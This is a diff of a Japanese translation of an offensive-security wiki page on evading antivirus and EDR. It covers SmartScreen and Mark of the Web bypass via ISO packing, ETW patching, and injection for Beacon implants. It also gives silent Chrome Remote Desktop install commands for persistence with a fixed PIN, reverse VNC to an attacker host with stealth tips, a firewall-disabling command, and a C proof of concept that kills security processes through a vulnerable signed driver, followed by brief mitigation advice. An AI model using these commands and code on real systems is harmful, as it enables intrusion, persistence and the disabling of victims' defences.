[**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 難読化ツール** -- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/) コンパイルスイートのオープンソースフォークを提供し、[コードの難読化]() と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。 +- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/) コンパイルスイートのオープンソースフォークを提供し、[コードの難読化]()と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。 - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator は、`C++11/14` 言語を使用して、外部ツールを使用せず、コンパイラを変更することなく、コンパイル時に難読化されたコードを生成する方法を示しています。 - [**obfy**](https://github.com/fritzone/obfy): C++ テンプレートメタプログラミングフレームワークによって生成された難読化された操作のレイヤーを追加し、アプリケーションをクラッキングしようとする人の生活を少し難しくします。 - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz は、.exe、.dll、.sys など、さまざまな異なる pe ファイルを難読化できる x64 バイナリ難読化ツールです。 - [**metame**](https://github.com/a0rtega/metame): Metame は、任意の実行可能ファイル用のシンプルなメタモルフィックコードエンジンです。 -- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator は、ROP(リターン指向プログラミング)を使用して LLVM サポート言語のための細粒度のコード難読化フレームワークです。ROPfuscator は、通常の命令を ROP チェーンに変換することによって、アセンブリコードレベルでプログラムを難読化し、通常の制御フローの自然な概念を妨害します。 +- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator は、ROP(リターン指向プログラミング)を使用して LLVM 対応言語のための細粒度のコード難読化フレームワークです。ROPfuscator は、通常の制御フローの概念を妨害することによって、アセンブリコードレベルでプログラムを難読化します。 - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt は、Nim で書かれた .NET PE Crypter です。 - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor は、既存の EXE/DLL をシェルコードに変換し、それをロードすることができます。 @@ -243,16 +249,16 @@ Microsoft Defender SmartScreen は、エンドユーザーが潜在的に悪意
-SmartScreen は主に評判ベースのアプローチで機能し、一般的でないダウンロードアプリケーションは SmartScreen をトリガーし、エンドユーザーがファイルを実行するのを警告し防止します(ただし、ファイルは「詳細情報」->「それでも実行」をクリックすることで実行できます)。 +SmartScreen は主に評判ベースのアプローチで機能し、一般的でないダウンロードアプリケーションが SmartScreen をトリガーし、エンドユーザーがファイルを実行するのを警告し防止します(ただし、ファイルは「詳細情報」->「それでも実行」をクリックすることで実行できます)。 -**MoTW**(Mark of The Web)は、インターネットからダウンロードされたファイルに自動的に作成される[NTFS Alternate Data Stream]() で、Zone.Identifier という名前が付けられ、ダウンロード元の URL とともに作成されます。 +**MoTW**(Mark of The Web)は、インターネットからファイルをダウンロードすると自動的に作成される[NTFS Alternate Data Stream]()で、Zone.Identifier という名前が付けられ、ダウンロード元の URL とともに作成されます。 -

インターネットからダウンロードされたファイルの Zone.Identifier ADS を確認しています。

+

インターネットからダウンロードしたファイルの Zone.Identifier ADS を確認しています。

-> [!NOTE] +> [!TIP] > **信頼された**署名証明書で署名された実行可能ファイルは、**SmartScreen をトリガーしない**ことに注意することが重要です。 -ペイロードが Mark of The Web を取得するのを防ぐ非常に効果的な方法は、ISO のようなコンテナ内にパッケージ化することです。これは、Mark-of-the-Web (MOTW) **が** **非 NTFS** ボリュームに適用できないためです。 +ペイロードが Mark of The Web を取得するのを防ぐ非常に効果的な方法は、それらを ISO のようなコンテナにパッケージ化することです。これは、Mark-of-the-Web (MOTW) が**非 NTFS** ボリュームに適用できないためです。
@@ -280,15 +286,15 @@ Adding file: /TotallyLegitApp.exe [+] Generated file written to (size: 3420160): container.iso ``` -ここでは、[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)を使用して、ペイロードをISOファイル内にパッケージ化することでSmartScreenをバイパスするデモを示します。 +ここでは、[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)を使用してペイロードをISOファイル内にパッケージ化することでSmartScreenをバイパスするデモを示します。
## ETW -Windowsのイベントトレーシング(ETW)は、アプリケーションやシステムコンポーネントが**イベントをログ**することを可能にする強力なログメカニズムです。しかし、セキュリティ製品が悪意のある活動を監視および検出するためにも使用される可能性があります。 +Windowsのイベントトレース(ETW)は、アプリケーションやシステムコンポーネントが**イベントをログ**することを可能にする強力なログメカニズムです。しかし、セキュリティ製品が悪意のある活動を監視および検出するためにも使用される可能性があります。 -AMSIが無効化(バイパス)されるのと同様に、ユーザースペースプロセスの**`EtwEventWrite`**関数を、イベントをログせずに即座に戻るようにすることも可能です。これは、メモリ内の関数をパッチして即座に戻るようにすることで、そのプロセスのETWログを実質的に無効にします。 +AMSIが無効化(バイパス)されるのと同様に、ユーザースペースプロセスの**`EtwEventWrite`**関数を即座に戻すことも可能で、イベントをログに記録しないようにできます。これは、メモリ内の関数をパッチして即座に戻すことで行われ、実質的にそのプロセスのETWログを無効にします。 詳細については、**[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) および [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**を参照してください。 @@ -302,32 +308,32 @@ C#バイナリをメモリにロードすることはかなり前から知られ - **Fork&Run** -これは、**新しい犠牲プロセスを生成し**、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォークアンドランメソッドの利点は、実行が**私たちのBeaconインプラントプロセスの外部**で行われることです。これは、ポストエクスプロイトアクションの何かがうまくいかなかったり捕まったりした場合、**私たちのインプラントが生き残る可能性がはるかに高い**ことを意味します。欠点は、**行動検出**によって捕まる可能性が**高くなる**ことです。 +これは**新しい犠牲プロセスを生成**し、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォークと実行の方法の利点は、実行が**私たちのBeaconインプラントプロセスの外部**で行われることです。これは、ポストエクスプロイトアクションで何かがうまくいかない場合や捕まった場合、**インプラントが生き残る可能性がはるかに高くなる**ことを意味します。欠点は、**行動検出**によって捕まる可能性が**高くなる**ことです。
- **Inline** -これは、ポストエクスプロイトの悪意のあるコードを**自分のプロセスに注入する**ことです。この方法では、新しいプロセスを作成してAVにスキャンされるのを避けることができますが、欠点は、ペイロードの実行に何か問題が発生した場合、**ビーコンを失う可能性がはるかに高くなる**ことです。 +これは、ポストエクスプロイトの悪意のあるコードを**自分のプロセスに注入する**ことです。この方法では、新しいプロセスを作成してAVにスキャンされるのを避けることができますが、欠点は、ペイロードの実行に何か問題が発生した場合、**ビーコントを失う可能性がはるかに高くなる**ことです。
-> [!NOTE] +> [!TIP] > C#アセンブリのロードについてもっと知りたい場合は、この記事[https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/)とそのInlineExecute-Assembly BOFをチェックしてください([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))。 -また、C#アセンブリを**PowerShellからロードする**こともできます。 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)と[S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk)をチェックしてください。 +また、C#アセンブリを**PowerShellからロード**することもできます。 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)と[S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk)を確認してください。 ## 他のプログラミング言語の使用 -[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)で提案されているように、妥協されたマシンに**攻撃者が制御するSMB共有にインストールされたインタープリタ環境へのアクセスを与える**ことで、他の言語を使用して悪意のあるコードを実行することが可能です。 +[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)で提案されているように、妥協されたマシンに**攻撃者が制御するSMB共有にインストールされたインタプリタ環境へのアクセスを与える**ことで、他の言語を使用して悪意のあるコードを実行することが可能です。 -インタープリタバイナリとSMB共有上の環境へのアクセスを許可することで、妥協されたマシンの**メモリ内でこれらの言語の任意のコードを実行することができます**。 +インタプリタバイナリとSMB共有上の環境へのアクセスを許可することで、妥協されたマシンの**メモリ内でこれらの言語の任意のコードを実行**できます。 -リポジトリは次のように示しています:Defenderはスクリプトをスキャンし続けますが、Go、Java、PHPなどを利用することで、**静的シグネチャをバイパスする柔軟性が高まります**。これらの言語でランダムな非難の逆シェルスクリプトをテストした結果、成功が確認されています。 +リポジトリは次のように示しています:Defenderはスクリプトをスキャンし続けますが、Go、Java、PHPなどを利用することで、**静的シグネチャをバイパスする柔軟性が高まります**。これらの言語でランダムな非難読化リバースシェルスクリプトをテストした結果、成功が確認されています。 ## TokenStomping -トークンストンピングは、攻撃者が**アクセス トークンやEDRやAVのようなセキュリティ製品を操作する**ことを可能にする技術で、プロセスが終了しないように権限を低下させることができますが、悪意のある活動をチェックする権限は持たなくなります。 +トークンストンピングは、攻撃者が**アクセス トークンやEDRやAVのようなセキュリティ製品を操作**し、プロセスが終了しないように権限を減少させることを可能にする技術です。 これを防ぐために、Windowsは**外部プロセスがセキュリティプロセスのトークンにハンドルを取得するのを防ぐ**ことができます。 @@ -335,19 +341,29 @@ C#バイナリをメモリにロードすることはかなり前から知られ - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) - [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF) +## 信頼されたソフトウェアの使用 + +### Chrome Remote Desktop + +[**このブログ記事**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide)に記載されているように、被害者のPCにChrome Remote Desktopを展開し、それを使用して乗っ取り、持続性を維持するのは簡単です: +1. https://remotedesktop.google.com/からダウンロードし、「SSH経由で設定」をクリックし、次にWindows用のMSIファイルをクリックしてMSIファイルをダウンロードします。 +2. 被害者のPCでインストーラーをサイレントで実行します(管理者権限が必要):`msiexec /i chromeremotedesktophost.msi /qn` +3. Chrome Remote Desktopページに戻り、次へ進みます。ウィザードが認証を求めてきますので、続行するには「承認」ボタンをクリックします。 +4. 指定されたパラメータをいくつかの調整を加えて実行します:`"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111`(GUIを使用せずにピンを設定できるpinパラメータに注意してください)。 + ## 高度な回避 -回避は非常に複雑なトピックであり、時には1つのシステム内の多くの異なるテレメトリソースを考慮する必要があるため、成熟した環境では完全に検出されないことはほぼ不可能です。 +回避は非常に複雑なトピックであり、時には1つのシステム内の多くの異なるテレメトリソースを考慮する必要があるため、成熟した環境では完全に検出されない状態を維持することはほぼ不可能です。 -対抗する環境はそれぞれ独自の強みと弱みを持っています。 +対抗する環境にはそれぞれ独自の強みと弱みがあります。 -[@ATTL4S](https://twitter.com/DaniLJ94)のこのトークをぜひご覧いただき、より高度な回避技術についての足がかりを得てください。 +[@ATTL4S](https://twitter.com/DaniLJ94)のこのトークをぜひご覧いただき、より高度な回避技術についての足がかりを得ることをお勧めします。 {{#ref}} https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo {{#endref}} -[@mariuszbit](https://twitter.com/mariuszbit)による回避の深層についての別の素晴らしいトークもあります。 +[@mariuszbit](https://twitter.com/mariuszbit)による深い回避に関する別の素晴らしいトークもあります。 {{#ref}} https://www.youtube.com/watch?v=IbA7Ung39o4 @@ -357,7 +373,7 @@ https://www.youtube.com/watch?v=IbA7Ung39o4 ### **Defenderが悪意のあるものと見なす部分を確認する** -[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)を使用すると、**バイナリの一部を削除**して、**Defenderが悪意のあるものと見なす部分を特定し**、それを分割することができます。\ +[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)を使用すると、**バイナリの一部を削除**して、**Defenderが悪意のあるものと見なしている部分を特定し**、それを分割することができます。\ 同様のことを行う別のツールは、[**avred**](https://github.com/dobin/avred)で、オープンウェブでサービスを提供しています[**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)。 ### **Telnetサーバー** @@ -389,11 +405,11 @@ netsh advfirewall set allprofiles state off #### **リバース接続** -**攻撃者** は **ホスト内で** バイナリ `vncviewer.exe -listen 5900` を実行し、リバース **VNC接続** をキャッチする準備をします。その後、**被害者** 内で: winvnc デーモン `winvnc.exe -run` を開始し、`winwnc.exe [-autoreconnect] -connect ::5900` を実行します。 +**攻撃者**は、自身の**ホスト**内でバイナリ `vncviewer.exe -listen 5900` を実行し、リバース **VNC接続**を受け取る準備をします。その後、**被害者**内で: winvncデーモン `winvnc.exe -run` を開始し、`winwnc.exe [-autoreconnect] -connect ::5900` を実行します。 **警告:** ステルスを維持するために、いくつかのことを行ってはいけません -- `winvnc` が既に実行中の場合は開始しないでください。そうしないと [ポップアップ](https://i.imgur.com/1SROTTl.png) が表示されます。 `tasklist | findstr winvnc` で実行中か確認してください +- `winvnc` がすでに実行中の場合は開始しないでください。そうしないと [ポップアップ](https://i.imgur.com/1SROTTl.png) が表示されます。 `tasklist | findstr winvnc` で実行中か確認してください - 同じディレクトリに `UltraVNC.ini` がない状態で `winvnc` を開始しないでください。そうしないと [設定ウィンドウ](https://i.imgur.com/rfMQWcf.png) が開きます - ヘルプのために `winvnc -h` を実行しないでください。そうしないと [ポップアップ](https://i.imgur.com/oc18wcu.png) が表示されます @@ -526,7 +542,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f {{#endref}} -C# オブフスケーターのリスト: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) +C# オブファスケーターのリスト: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) ### C++ ``` @@ -541,7 +557,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html) - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/) -### Pythonを使用したインジェクターのビルド例: +### Pythonを使用したインジェクターの例: - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo) @@ -570,8 +586,49 @@ https://github.com/TheWover/donut # Vulcan https://github.com/praetorian-code/vulcan ``` -### もっと +### More - [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion) +## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space + +Storm-2603は、ランサムウェアを展開する前にエンドポイント保護を無効にするために、**Antivirus Terminator**という小さなコンソールユーティリティを利用しました。このツールは**独自の脆弱だが*署名された*ドライバ**を持ち、それを悪用して、Protected-Process-Light (PPL) AVサービスでもブロックできない特権カーネル操作を発行します。 + +主なポイント +1. **署名されたドライバ**: ディスクに配信されるファイルは`ServiceMouse.sys`ですが、バイナリはAntiy Labsの「System In-Depth Analysis Toolkit」からの正当な署名付きドライバ`AToolsKrnl64.sys`です。このドライバは有効なMicrosoft署名を持っているため、Driver-Signature-Enforcement (DSE)が有効な場合でもロードされます。 +2. **サービスのインストール**: +```powershell +sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys" +sc start ServiceMouse +``` +最初の行はドライバを**カーネルサービス**として登録し、2行目はそれを開始して`\\.\ServiceMouse`がユーザーランドからアクセス可能になるようにします。 +3. **ドライバによって公開されるIOCTL** +| IOCTLコード | 機能 | +|-----------:|----------------------------------------| +| `0x99000050` | PIDによって任意のプロセスを終了する(Defender/EDRサービスを終了するために使用) | +| `0x990000D0` | ディスク上の任意のファイルを削除する | +| `0x990001D0` | ドライバをアンロードし、サービスを削除する | + +最小限のCの概念実証: +```c +#include + +int main(int argc, char **argv){ +DWORD pid = strtoul(argv[1], NULL, 10); +HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); +DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL); +CloseHandle(hDrv); +return 0; +} +``` +4. **なぜ機能するのか**: BYOVDはユーザーモードの保護を完全にスキップします。カーネル内で実行されるコードは*保護された*プロセスを開いたり、それを終了させたり、PPL/PP、ELAMまたは他のハードニング機能に関係なくカーネルオブジェクトを改ざんすることができます。 + +検出 / 緩和 +• Microsoftの脆弱ドライバブロックリスト(`HVCI`, `Smart App Control`)を有効にして、Windowsが`AToolsKrnl64.sys`のロードを拒否するようにします。 +• 新しい*カーネル*サービスの作成を監視し、ドライバが世界書き込み可能なディレクトリからロードされた場合や許可リストに存在しない場合に警告します。 +• カスタムデバイスオブジェクトへのユーザーモードハンドルの後に疑わしい`DeviceIoControl`呼び出しを監視します。 + +## References + +- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/) {{#include ../banners/hacktricks-training.md}}